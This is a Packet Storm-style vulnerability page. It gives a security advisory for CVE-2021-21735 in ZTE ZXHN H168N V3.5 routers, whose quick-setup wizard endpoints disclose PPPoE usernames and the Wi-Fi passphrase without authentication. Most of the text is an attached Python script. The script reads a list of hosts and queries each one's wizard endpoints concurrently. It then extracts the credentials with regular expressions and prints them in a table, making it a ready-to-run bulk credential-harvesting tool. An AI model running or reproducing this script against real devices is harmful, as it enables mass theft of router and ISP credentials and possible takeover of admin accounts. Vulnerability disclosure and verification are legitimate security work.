PACKETSTORM 6.5 MEDIUM

📄 ZTE ZXHN H168N 3.5 Credential Disclosure_PACKETSTORM:221998

6.5 / 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Description

The ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that return PPPoE credentials ADUsername, VDUsername and the WLAN KeyPassphrase via the GetPassword action without requiring authentication. The firmware routing allowlists these...
Visit Original Source

Basic Information

ID PACKETSTORM:221998
Published May 26, 2026 at 00:00

Affected Product

Affected Versions -----BEGIN SECURITY ADVISORY-----

Advisory ID: MONX-2021-001
CVE ID: CVE-2021-21735
Title: ZTE ZXHN H168N V3.5 - Unauthenticated Wizard Credential
Disclosure to Full Admin Compromise
Affected: ZTE ZXHN H168N V3.5
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: [email protected]
Public URL:
https://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise
MITRE: https://www.cve.org/CVERecord?id=CVE-2021-21735


VULNERABILITY DESCRIPTION
--------------------------
The ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that
return PPPoE credentials (ADUsername, VDUsername) and the WLAN KeyPassphrase
via the GetPassword action without requiring authentication. The firmware
routing allowlists these endpoints through a QuickSetupEnable branch.

In ISP-deployed configurations where the Wi-Fi password is reused as the
default admin password, this credential disclosure is a full admin
compromise
chain requiring a single unauthenticated HTTP request.

A bulk PoC script (zte_zxhn_h168n_bulk_poc.py) is included in the repository
for verifying scale of exposure. (packet storm attached at bottom)

CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma

-----END SECURITY ADVISORY-----



--- packet storm attached poc ---
import argparse
import asyncio
import html
import re
from pathlib import Path

import aiohttp
from colorama import Fore, Style, init


DEFAULT_INPUT_PATH = Path("urls.txt")
PASSWORD_FORM = {
"IF_ACTION": "GetPassword",
"_InstID_PASS": "DEV.WIFI.AP1.PSK1",
"PASSTYPE": "PSK",
}
TABLE_TEMPLATE = "{:<3} | {:<34} | {:<30} | {:<30} | {:<30} | {:<25}"
HEADERS = ["#", "URL", "AD Username", "VD Username", "ESSID", "Wi-Fi Password"]
AD_USERNAME_PATTERN = r"<ADUsername>(.*?)</ADUsername>"
VD_USERNAME_PATTERN = r"<VDUsername>(.*?)</VDUsername>"
ESSID_PATTERN = r"<ParaName>\s*ESSID\s*</ParaName>\s*<ParaValue>\s*(.*?)\s*</ParaValue>"
PASSWORD_PATTERN = r"<ParaName>KeyPassphrase</ParaName>\s*<ParaValue>(.*?)</ParaValue>"

init()


def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Bulk PoC for CVE-2021-21735 against ZTE ZXHN H168N wizard endpoints."
)
parser.add_argument(
"-i",
"--input",
type=Path,
default=DEFAULT_INPUT_PATH,
help="Path to a newline-delimited host list.",
)
parser.add_argument(
"--timeout",
type=int,
default=10,
help="Per-host request timeout in seconds.",
)
return parser.parse_args()


def extract(pattern: str, text: str, default: str = "") -> str:
match = re.search(pattern, text, re.DOTALL)
if not match:
return default
return html.unescape(match.group(1).strip())


def load_hosts(input_path: Path) -> list[str]:
return [line.strip() for line in input_path.read_text(encoding="utf-8").splitlines() if line.strip()]


async def fetch_text(session: aiohttp.ClientSession, method: str, url: str, **kwargs) -> str:
async with session.request(method, url, **kwargs) as response:
response.raise_for_status()
return await response.text()


async def extract_router_secrets(session: aiohttp.ClientSession, host: str) -> dict[str, str]:
base_url = f"http://{host}/wizard_page"

try:
pppoe_xml = await fetch_text(session, "GET", f"{base_url}/wizard_pppoe_lua.lua")
wlan_xml = await fetch_text(session, "GET", f"{base_url}/wizard_wlan_config_lua.lua")
password_xml = await fetch_text(
session,
"POST",
f"{base_url}/wizard_wlan_config_lua.lua",
data=PASSWORD_FORM,
)
except Exception:
return {
"URL": host,
"AD Username": "",
"VD Username": "",
"ESSID": "",
"Wi-Fi Password": "",
}

return {
"URL": host,
"AD Username": extract(AD_USERNAME_PATTERN, pppoe_xml),
"VD Username": extract(VD_USERNAME_PATTERN, pppoe_xml),
"ESSID": extract(ESSID_PATTERN, wlan_xml),
"Wi-Fi Password": extract(PASSWORD_PATTERN, password_xml)[:64],
}


def print_header() -> None:
header = TABLE_TEMPLATE.format(
"#",
Fore.RED + HEADERS[1],
Fore.GREEN + HEADERS[2],
Fore.YELLOW + HEADERS[3],
Fore.BLUE + HEADERS[4],
Fore.MAGENTA + HEADERS[5] + Style.RESET_ALL,
)
separator = Fore.CYAN + "-" * len(header) + Style.RESET_ALL
print(separator)
print(header + "|")
print(separator)


def print_row(index: int, row: dict[str, str]) -> None:
rendered = TABLE_TEMPLATE.format(
str(index),
Fore.RED + row["URL"],
Fore.GREEN + row["AD Username"],
Fore.YELLOW + row["VD Username"],
Fore.BLUE + row["ESSID"],
Fore.MAGENTA + row["Wi-Fi Password"] + Style.RESET_ALL,
)
separator = Fore.CYAN + "-" * len(rendered) + Style.RESET_ALL
print(rendered + "|")
print(separator)


async def run_bulk_poc(input_path: Path, timeout_seconds: int) -> None:
hosts = load_hosts(input_path)
seen: set[tuple[str, str, str, str, str]] = set()
results: list[dict[str, str]] = []

print_header()

timeout = aiohttp.ClientTimeout(total=timeout_seconds)
async with aiohttp.ClientSession(timeout=timeout) as session:
tasks = [asyncio.create_task(extract_router_secrets(session, host)) for host in hosts]

for task in asyncio.as_completed(tasks):
try:
row = await task
except Exception as error:
print(f"{Fore.RED}Error: {error}{Style.RESET_ALL}")
continue

identity = (
row["URL"],
row["AD Username"],
row["VD Username"],
row["ESSID"],
row["Wi-Fi Password"],
)
if identity in seen:
continue

seen.add(identity)
results.append(row)
print_row(len(results), row)


def main() -> None:
args = parse_args()
asyncio.run(run_bulk_poc(args.input, args.timeout))


if __name__ == "__main__":
main()

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.